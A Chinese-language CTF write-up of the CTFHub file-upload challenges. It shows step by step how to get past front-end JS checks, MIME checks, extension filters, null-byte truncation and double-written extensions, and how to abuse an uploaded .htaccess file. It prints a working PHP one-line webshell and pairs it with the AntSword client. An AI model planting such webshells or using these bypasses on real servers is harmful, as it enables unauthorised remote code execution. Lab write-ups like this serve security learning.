目录
一.使用工具
二.实操
1.无验证
2.JS前端验证
代码绕过
浏览器设置绕过
bp更改数据
3..htaccess
4.MIME绕过
尝试上传jpg文件
尝试更改MIME类型
5.00截断
6.双写绕过
一.使用工具
中国蚁剑 kali bp
二.实操
1.无验证
打开环境
文件上传 并且提示我们是无限制的
于是我们了解到i我们可以运用一句话木马 进行漏洞上传
<?php @eval($_POST['A']);?>
我使用kali 在桌面新建立一个文件 输入该代码保存
注意要改名字 我在这出现了问题是我没改文件名字 一直上传失败 于是我又在后缀上加.php才上传成功
kali会自动保存为php类型
于是我们尝试直接上传
上传成功
出现了路径 于是我们打开中国蚁剑
打开我们安装蚁剑的文件夹
在此处打开终端
./AntSword 输入代码启动蚁剑
于是我们添加数据
将URL添加进去
注意 添加的不只是地址栏的URL 还要加上相对路径
challenge-f3c6532034226333.sandbox.ctfhub.com:10800/upload/1
发现失败了 试错后发现 我们一定要把上传文件的后缀名改为.php才可以
重新上传
发现可以了于是我们直接进入后台 发现flag
2.JS前端验证
打开环境
提示我们要绕过js前端验证 于是我们先正常一句话木马进行上传
<?php @eval($_POST['A']);?> 记得把文件后缀名加上.php
反馈i无法上传 于是我们进行检查 我们应该上传什么样的文件
F12打开检查查看代码
发现只能上传这三种 于是我们改后缀看看是不是能上传
发现上传成功
现在有三种方法进行绕过
代码绕过
在F12中 我们审计代码发现我们可以直接关闭JS验证
我们把那个打勾取消
然后我们进行.php文件的上传
发现上传成功
所以我们知道我们可以尝试在检查中进行代码的删除进行绕过上传
浏览器设置绕过
我们知道是JS绕过
即javascript验证
于是我们在URL上输入about:config 进入浏览器设置
搜索javascript
我们将javascript.enabled 关闭
然后进行文件上传
发现可以直接进行上传
于是我们了解可以通过更改浏览器设置进行JS绕过
bp更改数据
我们这个要运用bp进行操作
我们先将一句话木马改成能上传的后缀
进行文件上传 bp进行抓包
打开代理
打开bp抓包
选择上传开始抓包
抓到了我们上传的包 发现我们的一句话木马的代码也在里面
于是我们更改文件后缀名
改成.php
forward进行放包
发现上传成功
于是我们知道可以通过bp进行更改数据进行绕过JS
于是我们进行中国蚁剑来访问后台即可
发现flag
3..htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
(就是一个文件 然后服务器发现了这个文件就可以运行 同时可以实现让上传的文件名中的恶意代码通过.php形式运行 .htaccess文件的作用就是让别的文件以你指定的方式运行,如.txt文件可以以.php文件的形式运行。)
这个题目我是运用bp进行.htaccess文件上传
打开环境
F12检查进行代码审计
发现过滤了很多
于是题目提示我们.htaccess文件 所以让我们写一个.htaccess文件代替本地文件
用bp抓包
直接将filename="1.php"改为filename=".htaccess"
application/x.php 改为 text/plain
把文件内容删除改为 AddType application/x-httpd-php .jpg 注意在php 和 .jpg里有一个空格
然后放包
上传成功 这个时候服务器就知道了我们要把我们上传文件里通过.php形式执行
然后我们上传我们的木马文件 依然用bp进行抓包
将我们的.php改为.jpg 然后放包
然后使用中国蚁剑继续访问
链接成功
访问后台
找到flag
在此我们知道了.htaccess是给黑客后台 能让上传的.jpg/.html等文件中php代码实现执行的
并且注意在AddType application/x-httpd-php .jpg中见有一个空格在php .jpg中间 不然无法实现
4.MIME绕过
MIME就是对文件类型的检测 而不是后缀名这么简单 如果是正常的改后缀名即可 但是 MIME就是对文件的类型的检测
于是我们只要将MIME的检测结果更改成我们上传的类型即可
打开环境
我们尝试上传jpg文件
上传成功 于是我们尝试直接注入
先用bp进行抓包
然后更改后缀名 注入
成功然后用中国蚁剑注入
得到flag
尝试更改MIME类型
抓包
我们将content-Type 改为 image/png(其他类型)
发现上传成功
于是照常中国蚁剑找flag即可
5.00截断
简单来说就是php版本<5.3.4的网页,在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
00截断的触发条件较为苛刻,所以在靶机上出现的概率较小
打开环境
我们将我们要上传的文件后缀名改为.jpg的类型,但是我们需要00截断和php执行
所以1.php更改为1.php%00.jpg
然后上传该文件用bp抓包
我们从源代码里会发现rand(1,99)随机数的代码 所以我们找不到上传地址,于是我们用00截断把随机数失效掉
在上传地址的地方加上我们的文件名
然后我们的地址就是
URL+upload/1.php
用中国蚁剑注入即可
6.双写绕过
我们打开环境尝试上传文件
我选择直接上传php文件
发现上传成功但是没有显示后缀名
我们就想会不会是过滤了php类型
打开源代码
发现过滤的
我们考虑双写绕过
原理就是在计算机中他会将识别的过滤类别过滤 但是在后缀中写两次后缀名 并且混合在一起 就会过滤其中一个 然后过滤完如果还是php就会执行
例如这道
我们更改文件后缀名为pphphp
他就会过滤了红色的php 而过滤完系统还是识别到了php所以执行
上传成功 链接中国蚁剑即可得到flag文章来源:https://www.toymoban.com/news/detail-763776.html
至此 CTFHUB 文件上传 结束文章来源地址https://www.toymoban.com/news/detail-763776.html
到了这里,关于CTFHUB-文件上传的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!